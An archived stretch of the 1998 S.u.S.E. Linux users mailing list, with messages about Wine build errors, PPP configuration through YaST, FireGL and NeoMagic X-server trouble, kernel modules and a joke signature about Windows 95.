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James Gray wrote:
> 
> > Windows 95: n.
> >     32-bit extensions and a graphical shell for a 16-bit patch to an 8-bit
> >     operating system originally coded for a 4-bit microprocessor,  written
> >          by a 2-bit company that can't stand for 1 bit of competition.
> 
> This is the most classic signature I've ever seen!!! The first time we saw
> it we were rolling on the floor with laughter! ;)
> 

Same here. ;-))

Is there a collection of "best" anty windows footers?

J.


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From hekate@intergate.bc.ca Tue Jun 30 19:16:12 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 12:16:12 -0700
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Last time I checked there wasn't one for unices. 

On Tue, 30 Jun 1998, Jim Hatridge wrote:

> 
> Is a version of Eudora for Linux yet?
> 
> 
> Thanks
> 
> 
> 
> 
> JIM
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From netsomni@fastrans.net Tue Jun 30 19:24:41 1998
From: netsomni@fastrans.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE Kernel
Date: Tue, 30 Jun 1998 13:24:41 -0600
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Chili,

Remember---Linux is Linux. The suse distrib has little bearing on the 
kernel compilation or loading modules.

On the other hand, I must say yast does a nice job of walking us 
through the process of loading modules.

-Netsomnia

> Date:          Tue, 30 Jun 1998 12:30:23 -0500 (CDT)
> From:          Chilini 

> how does the kernel in SuSE work? is it al modules? or is there a pckage
> that i need to d/l? please clue me in ..
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From lonewolfe@uswest.net Tue Jun 30 19:55:00 1998
From: lonewolfe@uswest.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FireGL 1000 X-Server Not Working
Date: Tue, 30 Jun 1998 13:55:00 -0600
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Drew,

Also, is there a FireGL 1000 Bios newer than 1.21 (what I have). If you
have an update that is newer please send it to me (jason(a)digitarx.com). I
have not been able to find any firmware updates on the Diamond web site.

Regards,
Jason

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|mind of man."                               |
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From darkway@hotmail.com Tue Jun 30 19:56:47 1998
From: darkway@hotmail.com
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Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 12:56:47 -0700
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Not Released in english?!!!
NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!!!!!!!=
!!!!!!!!!!(BLAH)

>From owner-suse-linux-e(a)suse.com Mon Jun 29 17:49:40 1998
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From beamanj@novaquest.com Tue Jun 30 20:05:22 1998
From: beamanj@novaquest.com
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] thinking about suse
Date: Tue, 30 Jun 1998 13:05:22 -0700
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To a large extent, I agree.  However, I would like to see linux be
both--that is, I think users should have the option to do everything
themselves (package selection, etc) or have the machine/OS do it all for
them.  For the most part, you can make Linux be either (my opinion), and
some distributions try to be more PnP, but for better or worse, Windows is
FAR more "user-friendly" to the computer-illiterate masses.

Just a though anyway...

> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
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>
>
> On 28-Jun-98 Wolfgang Weisselberg wrote:
> > Well, while I belive I am somewhat versed in Unix when I first
> > installed Linux I tend to belive the most important bit is to
> > read the manual, reread as neccessary and to take your time.
> > Explore the menues. Read the help on every bit. At least the
> > first time around.
> [snip]
> > User-friendly for me is the possibility to check and choose (or
> > choose not) every package there is. Even more user-friendly
> > would be if YaST would say what exactly it does (switch via
> > commandline), e.g. "copying /usr/lib/zoneinfo/Europe/Berlin to
> > /usr/lib/zoneinfo/localtime" so I could easily learn to get rid
> > of these crutches --- they are great to learn walking, but I
> > often want not to *have* to use them,
>
> The majority of the consumers won't agree.  They want "Plug-n-Play" in
> EVERYTHING, software and hardware.  They're afriad of the
> computer and don't
> wan't (or don't want to take the time) to explore.
>
> > Oh, go and make it as opaque and 'intelligent' and 'all the
> > user has to know is how to operate the power-on switch and the
> > coffe-cup holder' ... as long as one can switch it off with
> > ease. IMHO.
>
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From rwilliams@jrcmaui.net.suse.de Tue Jun 30 20:09:37 1998
From: rwilliams@jrcmaui.net.suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] XBF-neomagic help!
Date: Tue, 30 Jun 1998 10:09:37 -1000
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I want to use Linux/KDE on my Sony, but I am having problems with getting it
to work.  I have installed XBF-neomagic-libc-5-0.9.2-2.i386 and when use
startx I get some weird errors.  Something about XFServer is not a binary.
I would give more info, but my laptop is not here.

Has anyone had success getting this rpm to work?


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From hatridge@straubing.baynet.de Tue Jun 30 20:25:17 1998
From: hatridge@straubing.baynet.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] More about Wine Error
Date: Tue, 30 Jun 1998 22:25:17 +0200
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Hi!

First of all thanks for your anwser. That worked, so far, now I'm getting
this error. Any idea what this is? BTW I do have libXpm loaded in the
/usr/X11R6/lib dir. 

In file included from button.c:8:
../include/win.h:10: X11/Xlib.h: No such file or directory
make[1]: *** [button.o] Error 1
make[1]: Leaving directory `/usr/wine970215/controls'
make: *** [controls] Error 2

Thanks for your help!!!

JIM

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From subb3@ibm.net Tue Jun 30 21:56:38 1998
From: subb3@ibm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] PPP Config through YAST
Date: Tue, 30 Jun 1998 17:56:38 -0400
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I am using YAST to configure the Network and PPP. In PPP, I fill out all
the information about the
connectivity, ISP, nameservers.....and on. After I exit YAST, when I
look at /etc/ppp and /etc/suseppp,
my userid/password is in /etc/suseppp.

Assuming this will work, I tried /etc/suseppp/ppp-up, and it did not
work. I even tried to use /etc/ppp/ip-up.
I have some of my old working Slackware /etc/ppp scripts. If I copy them
over, will it disturb the integrity of
the configuration file i.e. rc.config. I am new to SuSE. The manual only
talks about YAST configuration.

Any pointers appreciated.

Thank you.

Subba Rao
subb3(a)ibm.net

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From lonewolfe@uswest.net Tue Jun 30 22:03:55 1998
From: lonewolfe@uswest.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FireGL 1000 X-Server Not Working
Date: Tue, 30 Jun 1998 16:03:55 -0600
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Drew,

I've have checked diamondmm.com multiple times and all that is there are 95
and NT drivers and a VBE driver. Thank you though for your help.

-Jason
At 05:31 PM 6/29/98 -0400, you wrote:
>
>check out www.diamondmm.com it should be there.  Sorry I'm a little bust
tonight.
>
>Drew
>
>
>> Drew,
>> 
>> Also, is there a FireGL 1000 Bios newer than 1.21 (what I have). If you
>> have an update that is newer please send it to me (jason(a)digitarx.com). I
>> have not been able to find any firmware updates on the Diamond web site.
>> 
>> Regards,
>> Jason
>> 
>> 
>> +==============================================+
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From mhtexcollins@ccms.net Tue Jun 30 23:43:20 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPP Config through YAST
Date: Tue, 30 Jun 1998 18:43:20 -0500
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If you installes KDE, use KPPP...  Works well.

Subba Rao wrote:
>=20
> I am using YAST to configure the Network and PPP. In PPP, I fill out all
> the information about the
> connectivity, ISP, nameservers.....and on. After I exit YAST, when I
> look at /etc/ppp and /etc/suseppp,
> my userid/password is in /etc/suseppp.
>=20
> Assuming this will work, I tried /etc/suseppp/ppp-up, and it did not
> work. I even tried to use /etc/ppp/ip-up.
> I have some of my old working Slackware /etc/ppp scripts. If I copy them
> over, will it disturb the integrity of
> the configuration file i.e. rc.config. I am new to SuSE. The manual only
> talks about YAST configuration.
>=20
> Any pointers appreciated.
>=20
> Thank you.
>=20
> Subba Rao
> subb3(a)ibm.net
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